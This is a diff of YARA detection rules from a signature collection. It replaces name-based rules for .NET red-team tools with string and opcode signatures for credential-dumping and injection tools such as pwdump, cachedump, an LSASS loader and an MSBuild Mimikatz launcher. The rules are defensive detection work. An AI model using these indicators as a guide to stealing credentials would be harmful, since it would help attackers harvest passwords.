+		$x6 = "Unable to obtain handle to PStoreCreateInstance in pstorec.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*)) or (3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpwatchdogs : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Lsremora : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "5343be58-879a-5fe7-9036-ee6a22d85f22"
-		date = "2021-01-22"
+		description = "Detects a tool used by APT groups"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c15c583f-70cd-5a80-bdea-a14582097e50"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/RITRedteam/SharpWatchdogs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L282-L295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b9410d7e502a5fd55e534d8fe79710d48cf65a0e9859bdd0fea6c8d32311df0"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3301-L3323"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ac8f6b7284307456749b3386340a2b3deb0718bc68875bc90bccf74a96469a59"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "efa66f6391ec471ca52cd053159c8a8778f11f921da14e6daf76387f8c9afcd5"
+		hash2 = "e0327c1218fd3723e20acc780e20135f41abca35c35e0f97f7eccac265f4f44e"
 
 	strings:
-		$name = "SharpWatchdogs" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "Target: Failed to load primary SAM functions." fullword ascii
+		$x2 = "lsremora64.dll" fullword ascii
+		$x3 = "PwDumpError:999999" fullword wide
+		$x4 = "PwDumpError" fullword wide
+		$x5 = "lsremora.dll" fullword ascii
+		$s1 = ":\\\\.\\pipe\\%s" fullword ascii
+		$s2 = "x%s_history_%d:%d" fullword wide
+		$s3 = "Using pipe %s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*)) or (3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpcat : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Servpw : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "a46be8d3-bf7b-5d86-b88b-33e6c8c152d8"
-		date = "2021-01-22"
+		description = "Detects a tool used by APT groups - file servpw.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "48b9dae1-16b3-563c-ac4e-b71f3a86b38a"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/SharpCat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L297-L310"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b9e5946f8df1649e71abf014aa6579edbbc93a12ddcc56f8d85d97ae087c8711"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3325-L3344"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "150466c23ea7aa20f6e60c592ab6bd2f42e3a48a65a6665b89a9f19fa61aae8f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "97b39ac28794a7610ed83ad65e28c605397ea7be878109c35228c126d43e2f46"
+		hash2 = "0f340b471ef34c69f5413540acd3095c829ffc4df38764e703345eb5e5020301"
 
 	strings:
-		$name = "SharpCat" ascii wide fullword
-		$compile = "AssemblyTitle" ascii wide fullword
+		$s1 = "Unable to open target process: %d, pid %d" fullword ascii
+		$s2 = "LSASS.EXE" fullword wide
+		$s3 = "WriteProcessMemory failed: %d" fullword ascii
+		$s4 = "lsremora64.dll" fullword ascii
+		$s5 = "CreateRemoteThread failed: %d" fullword ascii
+		$s6 = "Thread code: %d, path: %s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and 3 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_K8Tools : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Fgexec : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "b30fc856-073d-542f-b222-a957322732c2"
-		date = "2021-01-22"
+		description = "Detects a tool used by APT groups - file fgexec.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8ffe47b9-81a8-5eb4-b46f-db9d23682de4"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/k8gege/K8tools"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L312-L325"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "370cab83917bbc76f7f3a1b7793773ddf139879880e55efe59c72a07b34120f1"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3346-L3362"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3672255d7829520aa8ca792519f645b86fe4244a16652a960375f23baa7d32b3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8697897bee415f213ce7bc24f22c14002d660b8aaffab807490ddbf4f3f20249"
 
 	strings:
-		$name = "K8tools" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\Release\\fgexec.pdb" ascii
+		$x2 = "fgexec Remote Process Execution Tool" fullword ascii
+		$x3 = "fgexec CallNamedPipe failed" fullword ascii
+		$x4 = "fizzgig and the mighty foofus.net team" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of ($x*)) or (3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Httpsbeaconshell : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Cachedump : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "3bd7234b-a23e-5818-aed1-52d42023943b"
-		date = "2021-01-22"
+		description = "Detects a tool used by APT groups - from files cachedump.exe, cachedump64.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ebcaeb73-d2df-5a4c-9f50-b4a01293b88b"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L327-L340"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6a0d7e1f796ae6cefa297978c743916a08b2406c37fa2c1f3f697a17cb032517"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3364-L3384"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e4d710ed9dab12114e87fa33abe6db6245c780b31bcd94fbd21e75aaa355ca8"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "cf58ca5bf8c4f87bb67e6a4e1fb9e8bada50157dacbd08a92a4a779e40d569c4"
+		hash2 = "e38edac8c838a043d0d9d28c71a96fe8f7b7f61c5edf69f1ce0c13e141be281f"
 
 	strings:
-		$name = "HTTPSBeaconShell" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "Failed to open key SECURITY\\Cache in RegOpenKeyEx. Is service running as SYSTEM ? Do you ever log on domain ? " fullword ascii
+		$s2 = "Unable to open LSASS.EXE process" fullword ascii
+		$s3 = "Service not found. Installing CacheDump Service (%s)" fullword ascii
+		$s4 = "CacheDump service successfully installed." fullword ascii
+		$s5 = "Kill CacheDump service (shouldn't be used)" fullword ascii
+		$s6 = "cacheDump [-v | -vv | -K]" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <500KB and 1 of them ) or (3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Ghostpack_Compiledbinaries : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Pwdump_B : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "7cc81894-8c01-5a17-a7ed-1cb4cf1e2d53"
-		date = "2021-01-22"
+		description = "Detects a tool used by APT groups - file PwDump.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "aad974f1-76bf-5aae-8376-a4fd3f27b345"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L342-L355"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a8e90f07b7d1ec309e51e3606169a05c4bb2b2aa7e31ca26b21f927d648c13cd"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3386-L3406"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d50ad359b9433439cddda9408d227f35ee8de3280ad24f42c5e6ef1e6a1526bd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3c796092f42a948018c3954f837b4047899105845019fce75a6e82bc99317982"
 
 	strings:
-		$name = "Ghostpack-CompiledBinaries" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineName" fullword ascii
+		$x2 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword ascii
+		$x3 = "where -x targets a 64-bit host" fullword ascii
+		$x4 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+		$s1 = "lsremora64.dll" fullword ascii
+		$s2 = "lsremora.dll" fullword ascii
+		$s3 = "servpw.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <400KB and 1 of ($x*)) or (3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Metasploit_Sharp : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Msbuild_Mimikatz_Execution_Via_XML
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "b425f241-4887-5368-b42b-3fbbd3b769c6"
-		date = "2021-01-22"
+		description = "Detects an XML that executes Mimikatz on an endpoint via MSBuild"
+		author = "Florian Roth (Nextron Systems)"
+		id = "98aa68b9-6de4-5353-8d87-9e974529c044"
+		date = "2016-10-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/VolatileMindsLLC/metasploit-sharp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L357-L370"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7a1c4e077e197a5cdca8cb12713abb3fa86a3f6ea8e8f2f632c9c8e42d829acc"
+		reference = "https://gist.github.com/subTee/c98f7d005683e616560bda3286b6a0d8#file-katz-xml"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3417-L3436"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f926a2d5ab987b97c6ed2a89c69eac5549d8b7885bdbf75ce40e05e6ce6cfa7a"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "metasploit-sharp" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "<Project ToolsVersion=" ascii
+		$x2 = "</SharpLauncher>" fullword ascii
+		$s1 = "\"TVqQAAMAAAA" ascii
+		$s2 = "System.Convert.FromBase64String(" ascii
+		$s3 = ".Invoke(" ascii
+		$s4 = "Assembly.Load(" ascii
+		$s5 = ".CreateInstance(" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Trevorc2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Fscan_Portscanner : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "d1634a0d-6964-5886-b836-85c3ce6b8a17"
-		date = "2021-01-22"
+		description = "Fscan port scanner scan output / strings"
+		author = "Florian Roth (Nextron Systems)"
+		id = "400383dc-8bc0-5e77-a3f3-d6ba9f4c3c0f"
+		date = "2017-01-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/trustedsec/trevorc2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L372-L385"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c1d56ef865e6619d9d0deff90b154c63cc3036a8521d3952819e45f51fca9fea"
+		reference = "https://twitter.com/JamesHabben/status/817112447970480128"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3447-L3461"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "35770f040da0b14fe4492a44383e332c9912bd89943838627491196ce8f0ec37"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "trevorc2" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "Time taken:" fullword ascii
+		$s2 = "Scan finished at" fullword ascii
+		$s3 = "Scan started at" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		filesize <20KB and 3 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_DNS2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WPR_Loader_EXE : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "0fa01355-de57-573e-9056-0b7a5d24572d"
-		date = "2021-01-22"
+		description = "Windows Password Recovery - file loader.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "97fa3efb-9e7a-52ef-9e26-3fdd573d4d30"
+		date = "2017-03-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/DamonMohammadbagher/NativePayload_DNS2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L387-L400"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "765e6117f69fb58e5e71544badc8135b2ec641a74cc0489a7c79308ca2837bd7"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3473-L3493"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26af6fe1b3dfe8e3a48c03a9f6f2033fbc909a677d35159e28b7e9b867ea5542"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e7d158d27d9c14a4f15a52ee5bf8aa411b35ad510b1b93f5e163ae7819c621e2"
 
 	strings:
-		$name = "NativePayload_DNS2" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "Failed to get system process ID" fullword wide
+		$s2 = "gLSASS.EXE" fullword wide
+		$s3 = "WriteProcessMemory failed" fullword wide
+		$s4 = "wow64 process NOT created" fullword wide
+		$s5 = "\\ast.exe" wide
+		$s6 = "Exit code=%s, status=%d" fullword wide
+		$s7 = "VirtualProtect failed" fullword wide
+		$s8 = "nSeDebugPrivilege" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <100KB and 3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Aggressiveproxy : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WPR_Loader_DLL : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "e2d3c4e2-404b-59f8-b3d0-a7cef4dfd0ff"
-		date = "2021-01-22"
+		description = "Windows Password Recovery - file loader64.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d3102ab6-0473-544b-b9dd-ec7a18ae1c4b"
+		date = "2017-03-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/EncodeGroup/AggressiveProxy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L402-L415"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "702b0cc858cb1687962ac403a730e5f778bf51fc91627c50103e4299f4a3ca5f"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3495-L3528"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "015334828007e954d1e910e6377b37bade99df2ce86152901ec4ded8c71975de"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7b074cb99d45fc258e0324759ee970467e0f325e5d72c0b046c4142edc6776f6"
+		hash2 = "a1f27f7fd0e03601a11b66d17cfacb202eacf34f94de3c4e9d9d39ea8d1a2612"
 
 	strings:
-		$name = "AggressiveProxy" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "loader64.dll" fullword ascii
+		$x2 = "loader.dll" fullword ascii
+		$s1 = "TUlDUk9TT0ZUX0FVVEhFTlRJQ0FUSU9OX1BBQ0tBR0VfVjFfMA==" fullword ascii
+		$s2 = "UmVtb3RlRGVza3RvcEhlbHBBc3Npc3RhbnRBY2NvdW50" fullword ascii
+		$s3 = "U2FtSVJldHJpZXZlUHJpbWFyeUNyZWRlbnRpYWxz" fullword ascii
+		$s4 = "VFM6SW50ZXJuZXRDb25uZWN0b3JQc3dk" fullword ascii
+		$s5 = "TCRVRUFjdG9yQWx0Q3JlZFByaXZhdGVLZXk=" fullword ascii
+		$s6 = "YXNwbmV0X1dQX1BBU1NXT1JE" fullword ascii
+		$s7 = "TCRBTk1fQ1JFREVOVElBTFM=" fullword ascii
+		$s8 = "RGVmYXVsdFBhc3N3b3Jk" fullword ascii
+		$op0 = { 48 8b cd e8 e0 e8 ff ff 48 89 07 48 85 c0 74 72 }
+		$op1 = { e8 ba 23 00 00 33 c9 ff 15 3e 82 }
+		$op2 = { 48 83 c4 28 e9 bc 55 ff ff 48 8d 0d 4d a7 00 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		uint16(0)==0x5a4d and filesize <400KB and ((1 of ($x*) and 1 of ($s*)) or (1 of ($s*) and all of ($op*)))
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Msbuildapicaller : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WPR_Passscape_Loader : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "143da57f-b01f-5688-b741-1bc4d06cd7d1"
-		date = "2021-01-22"
+		description = "Windows Password Recovery - file ast.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d8e224ce-edd2-5e2d-9b6e-a8995f5d2c1c"
+		date = "2017-03-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/rvrsh3ll/MSBuildAPICaller"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L417-L430"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c1f33c759e6331c562dbf76ce7e34ee82d10070e331d0967143d9d7fad077fc"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3530-L3548"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79b1a3ed1ea0d9a3ddee0b8557393318a8baf4812110a6ed03a7106b8096b31e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f6f2d4b9f19f9311ec419f05224a1c17cf2449f2027cb7738294479eea56e9cb"
 
 	strings:
-		$name = "MSBuildAPICaller" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "SYSTEM\\CurrentControlSet\\Services\\PasscapeLoader64" fullword wide
+		$s2 = "ast64.dll" fullword ascii
+		$s3 = "\\loader64.exe" wide
+		$s4 = "Passcape 64-bit Loader Service" fullword wide
+		$s5 = "PasscapeLoader64" fullword wide
+		$s6 = "ast64 {msg1GkjN7Sh8sg2Al7ker63f}" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Graykeylogger : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WPR_Asterisk_Hook_Library : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "c63875b6-1701-5594-927e-833c25dc5d98"
-		date = "2021-01-22"
+		description = "Windows Password Recovery - file ast64.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "03c20c9d-bb8f-53f6-9cb5-9b059fb24949"
+		date = "2017-03-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/DarkSecDevelopers/GrayKeylogger"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L432-L445"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b8e12c5ddf0d50d0b3681594c8bc3410a24dab00035a5959e20d20045dacbbbd"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3550-L3572"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6bb75cb8c3ba18a34f4651532060154608c78e6f748148226da4416ad1171124"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "225071140e170a46da0e57ce51f0838f4be00c8f14e9922c6123bee4dffde743"
+		hash2 = "95ec84dc709af990073495082d30309c42d175c40bd65cad267e6f103852a02d"
 
 	strings:
-		$name = "GrayKeylogger" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "ast64.dll" fullword ascii
+		$s2 = "ast.dll" fullword wide
+		$s3 = "c:\\%s.lvc" fullword ascii
+		$s4 = "c:\\%d.lvc" fullword ascii
+		$s5 = "Asterisk Hook Library" fullword wide
+		$s6 = "?Ast_StartRd64@@YAXXZ" fullword ascii
+		$s7 = "Global\\{1374821A-281B-9AF4-%04X-12345678901234}" fullword ascii
+		$s8 = "2004-2013 Passcape Software" fullword wide
+		$s9 = "Global\\Passcape#6712%04X" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Weevely3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WPR_Windowspasswordrecovery_EXE : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "6bf766b6-d065-5a84-8258-3be448b9cbb8"
-		date = "2021-01-22"
+		description = "Windows Password Recovery - file wpr.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7fa2062c-75dd-55aa-8775-631a9c1a497e"
+		date = "2017-03-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/epinna/weevely3"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L447-L460"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c57c6ba5276679a2d32e9b0ebb61059c5bed1ba45f9792ecef3d5c7244f38f24"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3574-L3603"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f2995a8ba1644d384167221560aa0c3f074e8e2cf2b79bbb06537fcaed2df7f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c1c64cba5c8e14a1ab8e9dd28828d036581584e66ed111455d6b4737fb807783"
 
 	strings:
-		$name = "weevely3" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "UuPipe" fullword ascii
+		$x2 = "dbadllgl" fullword ascii
+		$x3 = "UkVHSVNUUlkgTU9O" fullword ascii
+		$x4 = "RklMRSBNT05JVE9SIC0gU1l" fullword ascii
+		$s1 = "WPR.exe" fullword wide
+		$s2 = "Windows Password Recovery" fullword wide
+		$op0 = { 5f df 27 17 89 }
+		$op1 = { 5f 00 00 f2 e5 cb 97 }
+		$op2 = { e8 ed 00 f0 cc e4 00 a0 17 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		uint16(0)==0x5a4d and filesize <20000KB and (1 of ($x*) or all of ($s*) or all of ($op*))
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Fudgec2 : FILE
+import "pe"
+
